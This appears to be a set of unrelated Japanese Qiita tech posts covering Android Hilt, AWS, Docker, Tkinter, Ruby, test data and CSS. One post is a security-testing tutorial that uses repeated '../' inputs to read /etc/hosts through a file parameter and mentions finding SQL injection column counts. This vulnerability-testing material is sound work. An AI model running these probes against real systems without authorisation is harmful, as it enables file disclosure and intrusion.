OmniAICreator/Qiita-1.07M huggingface dataset:
Hilt導入時のエラーが解決できない問題を解決

#### ※使用環境
Android Studio LadyBug
Kotlinのバージョン 1.9.0

# エラーの内容
Android開発にて、[この記事](https://qiita.com/ryo_mm2d/items/edf8381a95b17b514738)を読みながらHiltの導入を進めていたところ、AndroidManifest.xmlにアプリケーションクラスを指定して、GradleをSyncしたところで以下のようなエラーが発生しました。
```
java.lang.RuntimeException: Unable to instantiate application com.websarva.wings.dostudy_android.App package com.websarva.wings.dostudy_android: java.lang.ClassNotFoundException: Didn't find class "com.websarva.wings.dostudy_android.App" on path:...
```
要はAppクラスが見つからないよ、というエラーです。
以下のようにちゃんとAppクラスを書いて、Manifestでクラスを指定したにも関わらず、です。
```Kotlin:App.kt
@HiltAndroidApp
class App: Application()
```
```xml:AndroidManifest.xml
<application
        android:name=".App"
```
AIに言われるがままにClean Projectやproguard-rules.proファイルにAppクラスを保持するルールを追加したりするも改善せず。
何よりも明らかにAppクラスを作成して指定できているのに、Appクラスが見つからないと言われていることに絶望感を覚えていました。
そこで、私は本当に気が進まなかったのですが、hiltAndroid等の**バージョン**を確認してみることにしました。最近のAndroidStudioの仕様として、以下のようにバージョンを明記しなくてもライブラリを導入できるようになりました。
```kotlin:build.gradle.kts
plugins {
    alias(libs.plugins.android.application)
    alias(libs.plugins.kotlin.android)
    id("com.google.devtools.ksp")
    id("dagger.hilt.android.plugin")
}

android {
    dependency{
        ....
        implementation(libs.hilt.android)
        ksp(libs.hilt.android.compiler)
    }
}
```
結果として、まだまだ開発経験の浅い自分にはこの仕様が仇となってしまいました。
# 解決法
Gradle Scripts内の**libs.versions.toml**を覗いてみます。
```kotlin:libs.versions.toml
[versions]
....
hiltAndroid = "2.51.1"
hiltAndroidCompiler = "2.44"
hiltAndroidVersion = "2.51.1"
hiltCompilerVersion = "2.44"
hiltNavigationCompose = "1.2.0"
kotlin = "1.9.0"
....
```
2.44と2.51.1が混在していることが分かります。
2.44を2.51.1に置き換えてあげることでこの問題は解決しました。

今回の教訓：**バージョン管理から目を逸らすな！！！**
簡単AWS　Auto Scaling Group（ASG）

Auto Scaling Group（ASG）は、AWSが提供する機能で、EC2インスタンスの数を自動的に調整できます。簡単に言えば、ASGは「自動調整マネージャー」のような存在で、実際の需要に応じて、サーバーの数を増減させ、システムが過負荷にならず、かつリソースが無駄にならないようにします。

例を挙げると：
1.ピーク時の対応： ECサイトのトラフィックが急増した場合、ASGは自動で新しいサーバーを追加し、トラフィックを分散させてシステムのダウンを防ぎます。
2.低トラフィック時の節約： アクセスが減った時は、必要のないサーバーを自動で停止し、コスト削減につなげます。

主な機能：
1.最小インスタンス数： 常に一定数のサーバーが稼働するよう保証します。
2.最大インスタンス数： サーバーの使用数の上限を設定し、リソースの無駄を防ぎます。
3.動的な調整： 監視指標（例：CPU使用率）に基づき、サーバーを自動的に追加または削除します。
要するに、Auto Scaling Groupはシステムをバネのように柔軟にし、負荷の高い状況に対応しつつ、コスト削減も実現します。クラウドサーバー管理の強力な助っ人です！
よくわからないけど、検索できるようになりました

# 概要
- FirebaseとMeilisearchを使っている
- Firestore Triggerを使って、Meilisearchへデータを連携してくれるExtensionsを採用している
    - https://extensions.dev/extensions/meilisearch/firestore-meilisearch
- Firebase Emulatorでローカルで動作するようにしてたが、ある日からAPI Keyが足りなくて、動かなくなっていたようなので、色々ガシガシ修正したが、Emulator UI上からは認識されていないように見えたが、なぜか動くようになったが、とりあえずメモする


# 結論

https://firebase.google.com/docs/extensions/manifest?hl=ja

>シークレットのパラメータ値を extensions/EXTENSION_INSTANCE_ID.secret.local に設定する

これをやること。ただし、Emulator UI上からは確認できない。。。

`http://localhost:4000/extensions/${extentionsInstaceID}`

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101690/83ed7eae-bfa5-695b-f2bb-9d29960ebded.png)


# やったこと

## Firebase toolsを最新にする

https://zenn.dev/vs_blog/articles/1b5d62cf575fab

もともとDockerfileを用意していましたが、改めてぐぐってみたらこちらの記事が軽そう（かってな印象）でした


## いっぱいあった `env` ファイルを削除する

`${extentionsInstaceID}.env.${projectID}` とか色々あったんですが、とりあえず全削除

## ドキュメント通り、`.env.local` と `.secret.local` だけにする

こいつらだけにしました。UI上では認識していないようにみえましたが、動作はした。。。


# 雑感

なにもわかりません（ほぼ1日が溶けた・・・）
バックエンドとフロントエンドのポート設定と通信の基本

# バックエンドとフロントエンドのポート設定と通信の基本

## 1. ポート番号とは？
ポート番号は、ネットワーク通信で「どのアプリケーションとやりとりするか」を指定する番号です。  
例えば:
- **バックエンド**: ポート番号 `13000` で待機。
- **フロントエンド**: このポートを通じてバックエンドと通信します。

---

## 2. 環境変数でのポート設定

### バックエンドの`.env`ファイル例:
```env
PORT=13000
```
バックエンドは、このポート番号を使用してリクエストを受け付けます。

フロントエンドの.envファイル例:
```
SERVER_URL=http://localhost:13000
```
## 3.Dockerコンテナでのポート設定
Dockerを使用する場合、コンテナ内のポートとホスト（PC）のポートをマッピングする設定が必要です。

docker-compose.yml の例:
```
services:
  backend:
    build:
      context: ./backend
    ports:
      - "13000:13000" # ホスト:コンテナ
```
左側の13000: ホスト（PC）で使用するポート番号。
右側の13000: Dockerコンテナ内で動作するアプリケーションのポート番号。

## 4. トラブルシューティング
### チェックポイント
1.バックエンドの.env
  ・PORTが正しい値か確認。
```
PORT=13000
```

2.フロントエンドの`.env`
・`SERVER_URL`がバックエンドのポートを指しているか確認。
```
SERVER_URL=http://localhost:13000
```
3.Docker Composeの設定
・ポートマッピングが正しいか確認。
```
ports:
  - "13000:13000"
```
4.動作確認 バックエンドが正しく動作しているかを確認する:
```
curl http://localhost:13000/api
```
### メモ
・環境変数で設定したポート番号が一致していることを確認。
・Dockerのポートマッピングが正しいことを確認。
・必要な情報が不明な場合は、プロジェクトの設定ファイルやドキュメントを参照。
Tkinterの`tk.W`と`"nsew"`オプションについて

## はじめに
Pythonの標準ライブラリであるTkinterは、GUIアプリケーションを簡単に構築できる便利なツールです。その中でも、ウィジェットの配置を細かく制御する`grid`ジオメトリマネージャは頻繁に使用されます。

この記事では、`grid`メソッドで使用する`tk.W`や`"nsew"`について、誰でも転用可能な形で詳しく解説します。これらを使いこなせば、直感的で柔軟なインターフェースを構築できるようになります。

## `tk.W`とは？

`tk.W`は、Tkinterにおける**方角（方向）** を示す定数です。

### 定数の一覧
| 定数      | 意味        | 説明              |
|-----------|-------------|-------------------|
| `tk.N`    | North        | 上                |
| `tk.E`    | East         | 右                |
| `tk.S`    | South        | 下                |
| `tk.W`    | West         | 左                |
| `tk.NE`   | North-East   | 右上              |
| `tk.NW`   | North-West   | 左上              |
| `tk.SE`   | South-East   | 右下              |
| `tk.SW`   | South-West   | 左下              |

### `tk.W`の使い方
`tk.W`を使うことで、ウィジェットを**左揃え**で配置できます。

#### コード例
```python
import tkinter as tk

root = tk.Tk()
label = tk.Label(root, text="Hello World!")
label.grid(row=0, column=0, sticky=tk.W)  # 左揃えで配置

root.mainloop()
```

#### 解説
- **`sticky`オプション**は、ウィジェットがセル内でどの方向にくっつくかを指定します。
- **`tk.W`**を指定すると、ウィジェットがセルの左側に寄ります。

## `"nsew"`オプションとは？

`"nsew"`は、`grid`メソッドで使われる **`sticky`オプションの特殊な値** です。これは、ウィジェットを **セルの上下左右に広げる** ために使います。

`"nsew"`は以下の方角を表します：
- **N**（North）: 上
- **E**（East）: 右
- **W**（West）: 左
- **S**（South）: 下

これを組み合わせることで、ウィジェットをセル全体に広げることができます。

### コード例
```python
import tkinter as tk

root = tk.Tk()
root.geometry("300x200")

# ウィジェットの作成
label = tk.Label(root, text="Resizable Label", bg="lightblue")

# grid配置
label.grid(row=0, column=0, sticky="nsew")

# 行・列の伸縮設定
root.grid_rowconfigure(0, weight=1)
root.grid_columnconfigure(0, weight=1)

root.mainloop()
```

#### 解説
- **`sticky="nsew"`** を指定すると、ウィジェットがセルの上下左右にくっつき、セル全体に広がります。
- **`grid_rowconfigure`** と **`grid_columnconfigure`** を使って行と列の伸縮性を設定することで、ウィンドウのサイズ変更に応じてウィジェットのサイズも変わります。

## `tk.W`と`"nsew"`の違いまとめ
| 項目        | `tk.W`                       | `"nsew"`                     |
|-------------|------------------------------|--------------------------------|
| 説明        | 左にウィジェットを寄せる     | 上下左右に広げる              |
| 主な用途    | ウィジェットの位置指定        | ウィジェットをセル全体に広げる |
| 使用方法    | `sticky=tk.W`                | `sticky="nsew"`              |

## まとめ
TkinterでGUIを構築する際、ウィジェットの配置を細かく制御することはとても重要です。`tk.W`や`"nsew"`を使いこなすことで、柔軟なレイアウトを簡単に実現できます。

ぜひ、実際にコードを書いて試してみてください！
後輩のためのWeb講座（フロントエンドとバックエンドとは）

# Git講座

- はじめに
- 全体像
- フロントエンドとバックエンドの分かれ目
- まとめ
# はじめに

この記事は、Web開発を始めたての人向けの記事です。
フロントエンドとバックエンドの分かれ目について解説します。

「目に見える部分がフロントエンド」と聞いたことがある人もいるのではないでしょうか。
しかし、厳密には少し違います。

では、全体像を踏まえた上で、個々に説明していきます。

# 全体像

Webの構成は以下の4つに分かれています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3950744/376ad223-5c7d-e8bf-4411-2319eaa5de21.png)

## UI
**UI**とは、本当に見た目です。動きのない静止画の状態です。
## 機能
**機能**とは、ボタンを押したら何かを表示したり、違う画面に移動したり、ドラッグできるようにしたりすることです。データの保存以外の機能はここだと思ってもらって大丈夫です。
## API
**API**とは、データベースの操作の仕方を定義したものです。

例えば、「ユーザーを追加する」という動作を行いたいとき、データベースだと、以下のようなコードを打ちます。
```
INSERT INTO User (name, age, email) 
VALUES 
  ('Alice', 25, 'alice@example.com'),
  ('Bob', 30, 'bob@example.com'),
  ('Charlie', 28, 'charlie@example.com');
```
しかし、これをフロントエンドから定義すると大変なため、このコードを自動で打ってくれるように、関数を作ります。

この関数を**API**といいます

## データベース
データベースとは、恐らく皆さんが思っているものです。データを大量に保管しておく場所です。

# フロントエンドとバックエンドの分かれ目

では、全体像が分かったところで、「フロントエンドとバックエンドの分かれ目」を理解しましょう

フロントエンドは**UI**と**機能**です。
見た目に加えて、データの保存周り以外のほとんどの機能はフロントエンドです。

バックエンドは**API**と**データベース**です。
データの保管の仕方や、データの管理を楽にする関数をサーバー側で定義しています。

#### 注意
大規模なプロダクトだと、少し異なる場合があります。

## まとめ
今回は、Webのバックエンドとフロントエンドの分かれ目の説明を行いました。
補足的な内容なので、短めです。
AWS Cognitoとバックエンドの設定に関するトラブル解決メモ

# AWS Cognitoとバックエンドの設定に関するトラブル解決メモ

## 背景
バックエンドAPIで認証エラー (`401 Unauthorized`) が発生しました。このエラーは、環境変数に必要なCognitoの設定が不足していたことが原因でした。

---

## 問題の原因
以下の2つの環境変数が `.env` ファイルに設定されていませんでした：
- **COGNITO_USER_POOL_ID**
- **COGNITO_USER_POOL_CLIENT_ID**

これらは、AWS Cognitoを使用した認証の必須項目です。

---

## 解決手順

### 1. 必要なCognito情報を取得
AWS管理画面にログインして、以下を取得します
- **User Pool ID**（例：`ap-northeast-1_example123`）
- **App Client ID**（例：`1a2b3c4d5e6f7g8h9i0j`）

### 2. `.env`ファイルに追記
バックエンドの `.env` ファイルに以下の内容を追加します：

```plaintext
COGNITO_USER_POOL_ID=ap-northeast-1_example123
COGNITO_USER_POOL_CLIENT_ID=1a2b3c4d5e6f7g8h9i0j
```

### 3. Dockerコンテナの再起動
変更を反映するため、Dockerを再起動します：

```bash
docker-compose down
docker-compose up -d
```


### 4. 動作確認

以下のコマンドでAPIが正常に動作するか確認します：

```bash
curl http://localhost:13000/api
```

### メモ
AWS Cognitoの設定は、環境変数に正しく設定すること。
Docker再起動は、環境変数の変更後に必須。
必要な情報が不明な場合は、管理者に確認。
ディレクトリ・トラバーサルを検査する

# sWebMachineGun.exe実践編

ディレクトリ・トラバーサル/パス・トラバーサルを検査する場合

## はじめに

sWebMachineGun.exeにはディレクトリ・トラバーサル/パス・トラバーサル専用の検査項目はないので、操作者自らが「このパラメータはファイルパスっぽい」と判断する必要がある

## 診断対象

「http://example.com/cgi-bin/perl-fileview.pl?file=test.txt&modeDot=0」
の<b>「file」</b>というパラメータが対象

## まずは、ファイルパスっぽいパラメータを特定する

ここは基本的には操作者の技量といえるが、一応こういうパターンでわかる場合もあるという参考程度に。

これは、対象URLのHTTPリクエスト・メッセージ
![dt001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/6fb0b665-b67c-8fd3-e24b-84bd47859313.png)

検査用の置換方法としては、

- パラメータに各種記号を入れて壊す
- パラメータの先頭に<b>「./」</b>を入れてファイルパスなら無変換と同等な変換

![dt002z.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/1db93f89-b59e-2ad4-d448-f99f2a2dccc5.png)

<b>「Execute」</b>ボタンで実行

![dt003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/59122b8b-9d12-244d-e072-fe026a3be804.png)

<b>「何もしていない(ReplaceType=none)」</b>と<b>「[./]を前方追加」</b>したものが、似ているという<b>「bSQL?」</b>となっているので、パラメータ<b>「file」</b>は、ファイルパスっぽいと推定された

## ディレクトリ・トラバーサル/パス・トラバーサルのためのsWebMachineGun.exeの設定

### 設定のバックアップ

置換方法の全消しをするので、必要なら置換方法などをバックアップしておく
⇒「[設定を永続的に保存する(インポート/エクスポート)](https://qiita.com/tomoki0sanaki/items/6ba6eeb75dcc086e950f)」

### 「Setting」タブ

まずは<b>「置換方法」</b>を<b>「Clear」</b>ボタンで全消しする

![dt004z.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/b4cb92bc-d51b-e748-5fda-33084b6916af.png)

全消しするといろいろと不都合があるので、実際には全消しできない(1つ残る)
これは、後で消す

![dt005z.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/a9224da2-64ea-f32e-4718-bb111e5ae157.png)

続いて<b>「UseReplaceList」のチェックボタン</b>を<b>オフ</b>にする

![dt006z.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/0e966eef-7b1f-d272-65d0-a4806fdf07a7.png)

<b>「Custom」</b>というグループで、
- デリミタを「/」
- 値を「..」

さらに<b>「繰り返し回数」</b>を指定する
今回は10回とした

最後に<b>「Custom」</b>というグループの<b>「Add」</b>ボタンで、置換方法に追加する

![dt007z.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/98e5f825-f913-b236-cecc-e516c3bf81ba.png)

最初からある1行目をダブルクリックして消す
そして、置換方法のチェックをオンにして有効化する

![dt008z.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/525c3e59-b840-a0bb-a2ed-3336bc095386.png)

以上で<b>「Setting」</b>タブの設定は終了

### 「Request」タブ

<b>「../」</b>の繰り返しを埋め込みたい箇所に<b>「%s%」マクロ</b>を注入する
![dt009.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/8aa67646-c65a-4e47-34c6-f337ffe2c591.png)

以上で設定は終了

## sWebMachineGun.exeの実行

「Execute」ボタンで実行

![dt010.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/ca778773-ad5f-0e76-9bb3-87c0e203f44f.png)
4つ目の繰り返し<b>(../../../..)</b>で、<b>/etc/hosts</b>が表示されているので、<b>答え?</b>は4階層ということが分かった

## 蛇足1

![dt011.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182822/1e035564-a1cf-ca0b-31a2-7502833707c3.png)
おそらくUNIX/Linux系統は、4つ以上であれば適切にディレクトリトラバーサル攻撃が成功するので、こうやって調べずにとりあえず20個ぐらい<b>「../」</b>を与えてしまうばいいと思うよ。

## 蛇足2

SQL InjectionのUNIX句のカラム数(nullで代用)を調べる時にも同じ方法で調べられるよ

<b>「Custom」</b>というグループで、
- デリミタを<b>「/」</b>⇒<b>「,」</b>
- 値を<b>「..」</b>⇒<b>「null」</b>

と読み替えてくれればいいと思う

# sWebMachineGun.exe Index

[sWebMachineGun.exe のメインメニューに戻る](https://qiita.com/tomoki0sanaki/items/e2b7767551a576b1dbd3)
実在しない電話番号の探し方（URL, Email, クレジットカード番号も！）

システム開発時、資料を作っていたりテストをしていると「実在しない電話番号」を使いたくなることがあります。

一般公開する資料に「入力例」として使った電話番号があったとします。もしその番号が実在して、見知らぬ誰かが使っているものだったらどうでしょうか。その資料を見た誰かがいたずら電話をかけてしまい、電話番号の持ち主に迷惑がかかってしまう恐れがあります。

テストで使う電話番号についても同様です。実在しない電話番号を使うことで、無用のトラブルを防ぐことに繋がります。

今回は、そういった「実在しない電話番号」の探し方についてお話します。
また、実在しない URL、 Email （メールアドレス）、クレジットカード番号についてもご紹介します。

# 実在しない電話番号（日本編）
日本国内の話になりますが、総務省の「電気通信番号指定状況」で現在割り当てられている電話番号の範囲が分かります。

***総務省 – 電気通信番号指定状況　（電気通信番号計画（令和元年総務省告示第6号）第1第4項による公表）***
https://www.soumu.go.jp/main_sosiki/joho_tsusin/top/tel_number/number_shitei.html

残念ながら「これはテストで使ってよい架空のものである」と保証される番号は今のところありません。次善の案として、こちらで割り当てられていない番号を使うのが良いでしょう。

スマートフォンであれば「0900」で始まる電話番号は（記事執筆時点では）未割り当てとなっていることが分かります。

固定電話については「1で始まる**市内局番**は存在しない」という決まりになっているので、それが使えます。例えば「03-1111-2222」や「03-1234-5678」は実在しません。

「1」で始まる電話番号は「特別なサービス」のために予約済みのものです。警察への通報である「110」、時報の「117」といった限られた用途でのみ使われます。これらは『「1△△」型の電話番号』として総務省のサイトに明記されています。

***総務省 – 電話番号に関するQ&A***
https://www.soumu.go.jp/main_sosiki/joho_tsusin/top/tel_number/q_and_a.html#q7

先ほどの「03-1111-2222」については、国内プリフィクス＋市外局番の「03」を省略すると「1111-2222」となります。これは「1で始まる電話番号」と競合してしまい、使用できないのです。

1つ、わかりやすい例を挙げましょう。電話番号を「03-11**0**1-2222」として、**通話発信ボタンのない固定電話から**電話をかけます。こちらの「03」を省略して「1101-2222」と電話をかけようとしたとき、**「110」まで番号を入力した瞬間に警察に通報されてしまいます。**

そのような事情も考慮すると「03-1101-2222」も電話番号の例としては不適切だと言えます。いたずら電話がかかる先が警察になってしまっては困ります。**実在する『「1△△」型の電話番号』が含まれない値が望ましい**と言えるでしょう。

# 実在しない電話番号（海外編）
Wikipedia に架空の電話番号について書かれた記事が存在していますので、そちらを利用するのが良いでしょう。

***Wikipedia – Fictitious telephone number***
https://en.wikipedia.org/wiki/Fictitious_telephone_number#:~:text=As%20these%20are%20not%20issued,this%20range%20are%20commonly%20used.

# 実在しない URL, Email
以下のドメインは実在しないものとして予約済みです。これらのドメインを使えば良いでしょう。

+ セカンドレベルドメイン
　・*example.com*
　・*example.net*
　・*example.org*
　・*example.edu*
+ トップレベルドメイン
　・*.example* （ドメイン名を例示するため）
　・*.test* （テスト用のため）
　・*.invalid* （明らかに無効なドメイン名として使用するため）
RFC で予約されていたり ICANN で予約されていたりと経緯は様々ですが、詳しくは Wikipedia に記載されています。

***Wikipedia – example.com***
https://ja.wikipedia.org/wiki/Example.com

***Wikipedia – トップレベルドメイン – 予約済みのドメイン***
https://ja.wikipedia.org/wiki/%E3%83%88%E3%83%83%E3%83%97%E3%83%AC%E3%83%99%E3%83%AB%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3#%E4%BA%88%E7%B4%84%E6%B8%88%E3%81%BF%E3%81%AE%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3

# 実在しないクレジットカード番号
いくつかの決済サイトが「テスト用のクレジットカード番号」を公開しています。そちらを使えば良いでしょう。

+ https://developer.paypal.com/tools/sandbox/card-testing/
+ https://mp-faq.gmo-pg.com/s/article/DA044
+ https://pay.jp/docs/testcard

特に「4111111111111111」辺りは覚えやすくて、お世話になった方も多いのではないでしょうか。

# まとめ
ドキュメントで例示したりテストで使う際は、**実在する電話番号、 URL、 Email、クレジットカード番号の使用は避けましょう。**

日本の携帯電話／固定電話については今のところ「テスト専用」と明記されたものは存在しません。**総務省のサイトをチェックして、現在割り当てられていない番号を使うのが次善**です。

**URL、 Email、クレジットカード番号についてはテストに適したものが用意されています**ので、そちらを使いましょう。
Hash#clear

>### clear -> self
>`ハッシュの中身を空`にします。

>空にした後のselfを返します。デフォルト値の設定はクリアされません。

例
```rb
irb(main):024> h = Hash.new("default value")
irb(main):025> h[:some] = "some"
irb(main):026> p h #=> {:some=>"some"}
irb(main):027>
irb(main):028> h.clear
irb(main):029>
irb(main):030> p h
irb(main):031> p h.default # デフォルト値は残る
{:some=>"some"}
{}
"default value"
=> "default value"
```
https://docs.ruby-lang.org/ja/latest/method/Hash/i/clear.html
技術選定の進め方

# 手順
1. 解決したい課題を理解する
2. 要件を洗い出す
3. 組織のバッググラウンドを理解する
4. 選定する技術の市場を理解する
5. 選定する技術のボトルネックを理解する
6. メリット・デメリットで比較し、選択する
6. POCを行う

# 各工程の具体的に行うこと
https://zenn.dev/kouchanne/articles/5819b0a7c3ecdfc9f880
module_eval、class_eval

# ブロックだと外側のスコープになり、文字列だとそのクラス自身のスコープになる
>module_eval(expr, fname = "(eval)", lineno = 1) -> object[permalink][rdoc][edit]
module_eval {|mod| ... } -> object
class_eval(expr, fname = "(eval)", lineno = 1) -> object
class_eval {|mod| ... } -> object

>モジュールのコンテキストで文字列exprまたはモジュール自身をブロックパラメータとするブロックを評価してその結果を返します。

>モジュールのコンテキストで評価するとは、実行中そのモジュールがselfになるということです。つまり、`そのモジュールの定義式の中にあるかのように実行`されます。

>ただし、ローカル変数は module_eval/class_eval の外側のスコープと共有します。

>定数とクラス変数のスコープは、`文字列が与えられた場合とブロックが与えられた場合で挙動が異なります`。文字列が与えられた場合には、`定数とクラス変数のスコープは自身のモジュール定義式内と同じスコープ`になります。ブロックが与えられた場合には、`定数とクラス変数のスコープはブロックの外側のスコープ`になります。

### 引数
>[PARAM] expr:
評価される文字列。
[PARAM] fname:
文字列を指定します。`ファイル fname に文字列 expr が書かれているかのように実行`されます。スタックトレースの表示などを差し替えることができます。
[PARAM] lineno:
文字列を指定します。`行番号 lineno から文字列 expr が書かれているかのように実行`されます。スタックトレースの表示などを差し替えることができます。
例
```rb
irb(main):001* class C
irb(main):002> end
irb(main):003>
irb(main):004> # ブロックが渡された場合は、ブロックの外側のスコープになる。
irb(main):005> # つまり、この場合はトップレベルに定数 X を定義する。
irb(main):006> C.class_eval { X = 1 }
irb(main):007>
irb(main):008> # 文字列が渡された場合は、モジュール定義式内と同じスコープになる。つまり、この場合は
irb(main):009> # class C
irb(main):010> #   X = 2
irb(main):011> # end
irb(main):012> # と書いたのと同じ意味になる。
irb(main):013> C.class_eval 'X = 2'
irb(main):014>
irb(main):015> p X
irb(main):016> p C::X
1
2
=> 2
```
https://docs.ruby-lang.org/ja/latest/method/Module/i/class_eval.html
簡単AWS ELB(Elastic Load Balancing)

Elastic Load Balancing（ELB）は、AWSのサービスで、トラフィックを複数の仮想サーバ（EC2インスタンス）間に自動的に分配します。例えば、ウェブサイトに多くのユーザーが同時にアクセスする場合、単一のサーバでは処理しきれない可能性があります。ELBは、ユーザーからのリクエストを複数のサーバに均等に分配し、それぞれのサーバの負荷を適切に保ちながら、ウェブサイトの安定性やパフォーマンスを向上させます。

例えば、オンラインショップを開設しているとき、ELBは、どれだけ多くのユーザーが同時にページを閲覧していても、バックエンドの複数のサーバーが負荷を分担し、ユーザーの体験をスムーズに保つことができます。
簡単AWS　EC2 EBS EFS

EC2（Elastic Compute Cloud）は、AWS（Amazon Web Services）というサービスの一部です。簡単に言うと、インターネット上で使える仮想のコンピュータ（サーバー）です。

わかりやすい説明：
EC2は、自分でコンピュータを買わなくても、インターネットを通じてサーバーを借りて使えるサービスです。これを使うと、必要なときだけサーバーを立てたり、使わないときはやめたりできます。たとえば、ウェブサイトを運営したり、アプリケーションを動かしたりするときに役立ちます。

つまり、EC2を使うことで、自分の手元にサーバーを置く必要がなく、リモートでコンピュータを簡単に管理できるというわけです。




EBS（Elastic Block Store） は、AWS（Amazon Web Services）が提供するクラウドストレージのサービスの一つです。

EBSは、インスタンス（仮想マシン）に取り付けて使うディスクのようなもので、データを保存したり、アプリケーションやデータベースの処理用に使います。簡単に言うと、クラウド上の「ハードディスク」のような役割をします。

特徴：

1.データの永続性：EBSに保存したデータはインスタンスを停止しても消えません。データは永続的に保存されるので、大事なデータを安全に保管できます。
2.拡張性：必要に応じて容量を簡単に追加できるので、突然データ量が増えてもすぐに対応できます。
3.バックアップとリストア：EBSではスナップショットを使って、データのバックアップを取ったり、過去の状態に戻したりすることができます。
4.高速アクセス：EBSは高速でアクセスできるため、アプリケーションやデータベースの性能を向上させることができます。

簡単に言うと、EBSはAWSのインスタンス用のストレージで、データを安全に、かつ効率的に扱うための重要なサービスです。

EFS（Elastic File System） は、Amazon Web Services（AWS）が提供するクラウドファイルストレージサービスで、クラウド上でローカルファイルシステムのようにファイルを保存・アクセスできます。

簡単に言うと、EFSはクラウド上の共有ハードディスクのようなもので、複数のコンピューター（例えばEC2インスタンス）が同時にアクセスし、保存したデータにいつでもアクセス・変更できます。

特徴：

1.共有ストレージ：EFSを使えば、複数のインスタンスで同じストレージシステムにアクセスできます。複数のマシンがデータを共有する必要がある状況に最適です。例えば、複数人での作業や、複数サーバーがデータを共有するケースです。
2.弾力的なスケーリング：EFSは自動的にストレージ容量を調整し、ストレージ容量を手動で調整する必要がありません。使えば使うほど、自動的に容量が増えます。
3.高い可用性と耐障害性：EFSはデータを複数の場所とデバイスに分散して保存しており、データの信頼性が確保されます。一部で障害が発生しても、データにアクセスすることができます。
4.大きなファイルとファイルシステムに最適：EFSは大量のファイルデータの保存に適しており、例えば、ビデオ、画像、大きなデータベースやログファイルなどの保存に最適です。
5.簡単な設定と管理：EFSは数分でセットアップし使用を開始できます。面倒な設定は不要で、非常に簡単に使えます。

つまり、EFSはクラウド上で稼働する共有ファイルシステムで、複数のコンピューターが同時に保存されているファイルにアクセスできます。簡単に使え、可用性が高く、動的に拡張可能なファイルストレージが必要な場合に非常に便利です。
年末最終週に会社のメールが使えなくなった

#### 前提

- 弊社は中小企業であり、少人数で情シスをしている

- 弊社は以下の流れでメールの登録方法を統一している

Outlook⇔セキュリティソフト⇔メールサーバー

勿論、登録は情報システム側で行っている
***

##  事件発生
12月の最終週月曜日の朝、Outlookでメールを受け取れないという問い合わせをユーザー部門から受けた
1人だけならよかったのだが、複数人から同様の問い合わせがあった
***

### １日目



問い合わせがあった方々のOutlookの設定を見直したが、異常はなかった

社内にあるPCのOutlookを調査していたら、調べているうちにエラーは解消されていた

ユーザー部門の人が解決した？と思い、その日はそれ以降問い合わせもなくなった

***

### ２日目

朝、前日と同様のエラーが発生した

原因はOutlookのほかにあると考え、メールサーバーに問い合わせをしてみた結果、以下の内容が分かった

- **弊社IPから誤ったSMTP認証のリクエストが飛ばれており、それが原因で一時的な制限がかかっている**

- **認証に失敗しているメールアドレス(以降、"アドレスA"とする)**



アドレスAを使用している従業員のPCを調査するため（勤務先と別の場所にあるため）車で移動し、Outlookの設定を確認した結果、特に異常はなく、問題なく疎通が取れた

このとき、どうやら移動中にエラーが解消されていたのだが、疎通が取れて暫く様子を見て再度疎通を試みた結果、疎通が取れなくなった

弊社のIPからリクエストが飛んでいることから、社内のいずれかの端末、もしくはWiFiを介してサーバーにアクセスしていると考えたので、以下を試みた

- **他の端末でアドレスAを使ったかの聴取**

- **他の従業員の端末にアドレスAを使用していないか確認**

以上2点を試したが、どちらからも成果は得られなかった

***

### ３日目

当然エラーは改善されていなかった
流石にお手上げだったため、上長にも確認を取ったが、改善する予兆はなかった


午後、メールの送受信が問題なく行われていたのを確認し、２日目に調査したアドレスAが登録されている唯一の端末の電源を別部署の方にお願いし、電源を付けていただいた

結果、電源を入れて5分ほどでメールが使用不可になった

つまり、アドレスAを登録している端末が原因だということがほぼ間違いないということがわかった

(このとき知ったのだが、前日も自分が帰った後、アドレスAを使用している端末が使われているときもメールが使用不可だったという)

***

### ４日目

もう一度該当の端末を調査しに出向いた

ネットワークから切り離し、メールサーバーへアクセス出来ないようにしたうえで設定を見直した

結果、WindowsにプリインストールされているMicrosoft Store アプリのメールに誤ったパスワードで登録されたものを見つけ出すことができた

恐らくアドレスAを使っていた方が誤ってこのメーラーを開き
、自力で登録を試みたのだと思われる

該当の情報を削除したうえでネットワークに接続した結果、エラーは全て解決された

***

## 反省点・振り返り

- ユーザー部門側が誤ってメーラーを開かないようにセットアップ段階で削除しておくべきだった

- 考えていた範囲が狭く、解決に余計な時間を要した

その他細かいツッコミどころはたくさんあるが、解決できたことはよいことであり、同様のことが発生したときに考えられる選択肢が増えたよい機会となった

本件を生かし、別のインシデントに対応できる力を備えたいと思う

ご精読ありがとうございました
【CSS】white-space: break-spaces;は効かない時の対策

**問題**：  
フォームの確認画面で、前画面で入力した内容がすべて数値の場合、「white-space: break-spaces;」が期待通りに動作せず、折り返しが行われない。  

![スクリーンショット 2025-01-07 134044.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3842729/5470db05-c357-782a-827a-b00e0759b4f5.png)  

**原因**：  
`white-space: break-spaces;` は、スペースや改行を保持しつつ折り返しを行うプロパティですが、単一で連続する数値を1つの「単語」として扱うため、折り返しが発生しません。

**解決策**：  
以下のCSSプロパティを追加することで対応できます：  
1. **`word-break: break-word;`**  
   単語の途中でも折り返しを可能にします。  
2. **`overflow-wrap: anywhere;`**  
   文字列全体のどこでも折り返しを許可します（より柔軟に対応）。  

これらを組み合わせることで、数値が長い場合でも適切に折り返されるようになります。

```css
white-space: break-spaces;
word-break: break-word;
overflow-wrap: anywhere;
```

**結果**：  
